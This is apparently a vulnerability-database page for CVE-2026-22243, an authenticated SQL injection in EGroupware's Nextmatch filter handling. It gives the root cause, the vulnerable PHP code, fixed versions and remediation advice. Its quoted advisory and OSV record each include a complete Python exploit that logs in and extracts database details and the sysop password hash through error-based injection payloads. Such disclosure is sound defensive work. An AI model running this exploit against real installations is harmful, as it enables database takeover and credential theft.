CVE-2026-22243: Egroupware/egroupware SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-rvxj-7f72-mhrx
CWE-89
Published
Advisory Summary

CVE-2026-22243 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Egroupware/egroupware libraries in the Packagist ecosystem. The issue involves egroupware has sql injection in nextmatch filter processing. Remediation is available by upgrading affected packages to version 23.1.20260113, 26.0.20260113.

CVE-2026-22243 at a Glance

CVE Identifier CVE-2026-22243
GHSA Identifier GHSA-rvxj-7f72-mhrx
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Egroupware/egroupware
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-22243

To remediate this vulnerability, upgrade all affected Egroupware/egroupware dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

egroupware/egroupware fixed: 23.1.20260113
Upgrade egroupware/egroupware to 23.1.20260113
egroupware/egroupware fixed: 26.0.20260113
Upgrade egroupware/egroupware to 26.0.20260113
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for egroupware/egroupware

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-22243, inspect your project dependencies for Egroupware/egroupware:

inspect dependencies for egroupware/egroupware

Analyze the terminal output to locate any version of Egroupware/egroupware in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 23.1.20260113), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Egroupware/egroupware, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary **Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing** A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the `Nextmatch` filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the `WHERE` clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the `is_int()` security check used by the application. ### Details **Root Cause Analysis** The vulnerability exists in how the database abstraction layer (`Api\Db`) and high-level storage classes (`Api\Storage\Base`, `infolog_so`) process the `col_filter` array used in "Nextmatch" widgets. The application attempts to validate input using `is_int($key)` to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's `json_decode` automatically converts numeric string keys (e.g., `"0"`) into native integers. Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (`is_int` returns true) and blindly appends the associated values - containing malicious SQL - directly to the query. **Vulnerable Code Locations** 1. **File:** `sources/egroupware/api/src/Db.php` (Approx. Line 1776) Method: `column_data_implode` ```php // In function column_data_implode elseif (is_int($key) && $use_key===True) { if (empty($data)) continue; // VULNERABLE: $data is appended directly to SQL without sanitization $values[] = $data; } ``` 2. **File:** `sources/egroupware/api/src/Storage/Base.php` (Approx. Line 1134) Method: `parse_search` ```php // In function parse_search foreach($criteria as $col => $val) { // VULNERABLE: is_int() returns true for JSON keys like "0" if (is_int($col)) { $query[] = $val; } // ... } ``` ### PoC The vulnerability was on a local Docker instance and confirmed (read-only) on the public demo instance ([demo.egroupware.net](http://demo.egroupware.net/)). **Automated Exploit Script:** The following script automates the login, exec_id extraction, and data exfiltration via Error-Based SQL Injection. ```python import requests import re import sys import urllib3 # Suppress SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # CLI Configuration BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware" LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop" LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123" session = requests.Session() session.verify = False session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" }) def extract_form_inputs(html): inputs = {} matches = re.findall(r'<input[^>]+>', html) for match in matches: name_m = re.search(r'name=["\']([^"\']+)["\']', match) value_m = re.search(r'value=["\']([^"\']*)["\']', match) if name_m: name = name_m.group(1) value = value_m.group(1) if value_m else "" inputs[name] = value return inputs def login(): print(f"[*] Target: {BASE_URL}") login_url = f"{BASE_URL}/login.php" try: print("[*] Retrieving login form...") r_get = session.get(login_url, timeout=10) data = extract_form_inputs(r_get.text) data.update({ "login": LOGIN_USER, "passwd": LOGIN_PASS, "submitit": "Login", "passwd_type": "text" }) if 'cancel' in data: del data['cancel'] print(f"[*] Attempting login as: {LOGIN_USER}...") r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15) if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text: print("[-] Login failed. Server returned login form.") return False print("[+] Login successful.") return True except Exception as e: print(f"[-] Critical error during login: {e}") return False def get_exec_id(): print("[*] Retrieving exec_id...") url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index" try: r = session.get(url, timeout=10) match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text) if match: eid = match.group(1) print(f"[+] ID found: {eid}") return eid else: if 'name="passwd"' in r.text: print("[-] Session expired or login failed.") else: print("[-] exec_id pattern not found in source code.") except Exception as e: print(f"[-] Error retrieving ID: {e}") return None def run_query(eid, sql): full = "" url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows" print(f"[*] Executing SQLi: {sql}") for offset in range(1, 201, 30): chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)" payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))" post_data = { "request": { "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}] } } try: r = session.post(url, json=post_data, timeout=10) match = re.search(r"XPATH syntax error: '~(.*)~'", r.text) if not match: match = re.search(r"~([^~]+)~", r.text) if match: chunk = match.group(1) if "..." in chunk: chunk = chunk.replace("...", "") full += chunk if len(chunk) < 1: break else: break except Exception as e: print(f"[-] Query error: {e}") break return full if full else "NO DATA / ERROR" if __name__ == "__main__": if login(): eid = get_exec_id() if eid: print("\n" + "="*40) print(" SQL INJECTION RESULTS ") print("="*40) print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}") print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}") print(f"[+] DB User: {run_query(eid, 'SELECT user()')}") print("\n[*] Retrieving hash for 'sysop' user (if exists):") res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'") print(f" > {res}") print("="*40 + "\n") ``` **Proof of Verification** on [demo.egroupware.net](http://demo.egroupware.net/): The script was executed against ther public demo to confirm exploitability in a production-like environment (read-only). <img width="773" height="393" alt="image" src="https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e" /> **Impact:** Attackers with low-privileged access can fully compromise the database. This allows for: * **Confidentiality Loss:** Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets). * **Integrity Loss:** Modifying or deleting arbitrary data within the application. * **Availability Loss:** Potential to drop tables or corrupt data. ### Remediation **1. Input Validation (Whitelisting)** Do not rely solely on `is_int()` for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict **whitelist (allowlist)** of allowed column names for filtering in `Nextmatch` widgets. If the key/column is not in the whitelist, reject the request. **2. Parameter Binding** Ensure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string. **3. Strict Type Checking** When processing JSON input, ensure that keys are strictly checked against expected types (e.g., using `===` for strict comparison or `filter_var`) before being used in SQL generation logic. ### Credits Reported by Łukasz Rybak

CVE-2026-22243 Affected Egroupware/egroupware Versions

2 component(s)
Fixed Versions:
23.1.2026011326.0.20260113
Product / Package Ecosystem Affected Versions Fixed Version
egroupware/egroupware
Packagist
< 23.1.20260113
23.1.20260113
egroupware/egroupware
Packagist
≥ 26.0.20251208
< 26.0.20260113
26.0.20260113

References

Frequently Asked Questions

What is CVE-2026-22243?
CVE-2026-22243 is a security vulnerability in Egroupware/egroupware involving EGroupware has SQL Injection in Nextmatch Filter Processing under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Egroupware/egroupware versions are affected?
Affected versions include releases prior to 23.1.20260113, 26.0.20260113 across affected packages: egroupware/egroupware.
What version fixes CVE-2026-22243?
Upgrading to 23.1.20260113, 26.0.20260113 (or the latest patched release for your respective branch) resolves the vulnerability.
Is egroupware/egroupware affected?
Yes, egroupware/egroupware is affected in releases prior to 23.1.20260113, 26.0.20260113. Upgrade your dependency to 23.1.20260113, 26.0.20260113 or later.
What CWE is associated with CVE-2026-22243?
CVE-2026-22243 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-22243?
Run the dependency tree command: 'inspect dependencies for egroupware/egroupware'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rvxj-7f72-mhrx",
  "modified" : "2026-01-28T20:39:27Z",
  "published" : "2026-01-28T20:39:27Z",
  "aliases" : [ "CVE-2026-22243" ],
  "summary" : "EGroupware has SQL Injection in Nextmatch Filter Processing",
  "details" : "### Summary\n**Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing**\n\nA critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the `Nextmatch` filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the `WHERE` clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the `is_int()` security check used by the application.\n\n### Details\n**Root Cause Analysis**\nThe vulnerability exists in how the database abstraction layer (`Api\\Db`) and high-level storage classes (`Api\\Storage\\Base`, `infolog_so`) process the `col_filter` array used in \"Nextmatch\" widgets.\n\nThe application attempts to validate input using `is_int($key)` to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's `json_decode` automatically converts numeric string keys (e.g., `\"0\"`) into native integers.\n\nConsequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (`is_int` returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.\n\n**Vulnerable Code Locations**\n\n1. **File:** `sources/egroupware/api/src/Db.php` (Approx. Line 1776)\n   Method: `column_data_implode`\n\n```php\n// In function column_data_implode\nelseif (is_int($key) && $use_key===True) {\n     if (empty($data)) continue;\n     // VULNERABLE: $data is appended directly to SQL without sanitization\n     $values[] = $data; \n}\n```\n\n2. **File:** `sources/egroupware/api/src/Storage/Base.php` (Approx. Line 1134)\n   Method: `parse_search`\n\n```php\n// In function parse_search\nforeach($criteria as $col => $val) {\n     // VULNERABLE: is_int() returns true for JSON keys like \"0\"\n     if (is_int($col)) {\n         $query[] = $val; \n     }\n     // ...\n}\n```\n\n### PoC\nThe vulnerability was on a local Docker instance and confirmed (read-only) on the public demo instance ([demo.egroupware.net](http://demo.egroupware.net/)).\n\n\n**Automated Exploit Script:**\nThe following script automates the login, exec_id extraction, and data exfiltration via Error-Based SQL Injection.\n\n```python\nimport requests\nimport re\nimport sys\nimport urllib3\n\n# Suppress SSL warnings\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# CLI Configuration\nBASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else \"http://localhost:8088/egroupware\"\nLOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else \"sysop\"\nLOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else \"password123\"\n\nsession = requests.Session()\nsession.verify = False\nsession.headers.update({\n    \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\"\n})\n\ndef extract_form_inputs(html):\n    inputs = {}\n    matches = re.findall(r'<input[^>]+>', html)\n    for match in matches:\n        name_m = re.search(r'name=[\"\\']([^\"\\']+)[\"\\']', match)\n        value_m = re.search(r'value=[\"\\']([^\"\\']*)[\"\\']', match)\n        if name_m:\n            name = name_m.group(1)\n            value = value_m.group(1) if value_m else \"\"\n            inputs[name] = value\n    return inputs\n\ndef login():\n    print(f\"[*] Target: {BASE_URL}\")\n    login_url = f\"{BASE_URL}/login.php\"\n    \n    try:\n        print(\"[*] Retrieving login form...\")\n        r_get = session.get(login_url, timeout=10)\n        \n        data = extract_form_inputs(r_get.text)\n        \n        data.update({\n            \"login\": LOGIN_USER,\n            \"passwd\": LOGIN_PASS,\n            \"submitit\": \"Login\",\n            \"passwd_type\": \"text\"\n        })\n        \n        if 'cancel' in data: del data['cancel']\n\n        print(f\"[*] Attempting login as: {LOGIN_USER}...\")\n        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)\n        \n        if 'name=\"passwd\"' in r_post.text and 'logout.php' not in r_post.text:\n            print(\"[-] Login failed. Server returned login form.\")\n            return False\n            \n        print(\"[+] Login successful.\")\n        return True\n    except Exception as e:\n        print(f\"[-] Critical error during login: {e}\")\n        return False\n\ndef get_exec_id():\n    print(\"[*] Retrieving exec_id...\")\n    url = f\"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index\"\n    try:\n        r = session.get(url, timeout=10)\n        \n        match = re.search(r'etemplate_exec_id(?:&quot;|\"|\\\\\")\\s*:\\s*(?:&quot;|\"|\\\\\")([^&\"\\\\]+)', r.text)\n        \n        if match:\n            eid = match.group(1)\n            print(f\"[+] ID found: {eid}\")\n            return eid\n        else:\n            if 'name=\"passwd\"' in r.text:\n                print(\"[-] Session expired or login failed.\")\n            else:\n                print(\"[-] exec_id pattern not found in source code.\")\n    except Exception as e:\n        print(f\"[-] Error retrieving ID: {e}\")\n    return None\n\ndef run_query(eid, sql):\n    full = \"\"\n    url = f\"{BASE_URL}/json.php?menuaction=EGroupware\\\\Api\\\\Etemplate\\\\Widget\\\\Nextmatch::ajax_get_rows\"\n    \n    print(f\"[*] Executing SQLi: {sql}\")\n    \n    for offset in range(1, 201, 30):\n        chunk_sql = f\"SUBSTRING(({sql}), {offset}, 30)\"\n        payload = f\"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))\"\n        \n        post_data = {\n            \"request\": {\n                \"parameters\": [eid, {\"start\": 0, \"num_rows\": 1}, {\"col_filter\": {\"0\": payload}}]\n            }\n        }\n        \n        try:\n            r = session.post(url, json=post_data, timeout=10)\n            \n            match = re.search(r\"XPATH syntax error: '~(.*)~'\", r.text)\n            if not match:\n                match = re.search(r\"~([^~]+)~\", r.text)\n            \n            if match:\n                chunk = match.group(1)\n                if \"...\" in chunk: chunk = chunk.replace(\"...\", \"\")\n                \n                full += chunk\n                if len(chunk) < 1: break\n            else:\n                break\n                \n        except Exception as e:\n            print(f\"[-] Query error: {e}\")\n            break\n            \n    return full if full else \"NO DATA / ERROR\"\n\nif __name__ == \"__main__\":\n    if login():\n        eid = get_exec_id()\n        if eid:\n            print(\"\\n\" + \"=\"*40)\n            print(\" SQL INJECTION RESULTS \")\n            print(\"=\"*40)\n            print(f\"[+] DB Version: {run_query(eid, 'SELECT @@version')}\")\n            print(f\"[+] DB Name:    {run_query(eid, 'SELECT database()')}\")\n            print(f\"[+] DB User:    {run_query(eid, 'SELECT user()')}\")\n            \n            print(\"\\n[*] Retrieving hash for 'sysop' user (if exists):\")\n            res = run_query(eid, \"SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'\")\n            print(f\" > {res}\")\n            print(\"=\"*40 + \"\\n\")\n```\n\n**Proof of Verification** on [demo.egroupware.net](http://demo.egroupware.net/): \n\nThe script was executed against ther public demo to confirm exploitability in a production-like environment (read-only).\n<img width=\"773\" height=\"393\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e\" />\n\n**Impact:**\nAttackers with low-privileged access can fully compromise the database. This allows for:\n* **Confidentiality Loss:** Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets).\n* **Integrity Loss:** Modifying or deleting arbitrary data within the application.\n* **Availability Loss:** Potential to drop tables or corrupt data.\n\n### Remediation\n**1. Input Validation (Whitelisting)**\nDo not rely solely on `is_int()` for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict **whitelist (allowlist)** of allowed column names for filtering in `Nextmatch` widgets. If the key/column is not in the whitelist, reject the request.\n\n**2. Parameter Binding**\nEnsure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.\n\n**3. Strict Type Checking**\nWhen processing JSON input, ensure that keys are strictly checked against expected types (e.g., using `===` for strict comparison or `filter_var`) before being used in SQL generation logic.\n\n\n### Credits\n\nReported by Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "egroupware/egroupware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "23.1.20260113"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "egroupware/egroupware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "26.0.20251208"
      }, {
        "fixed" : "26.0.20260113"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22243"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/EGroupware/egroupware"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-28T20:39:27Z",
    "nvd_published_at" : "2026-01-28T17:16:15Z"
  }
}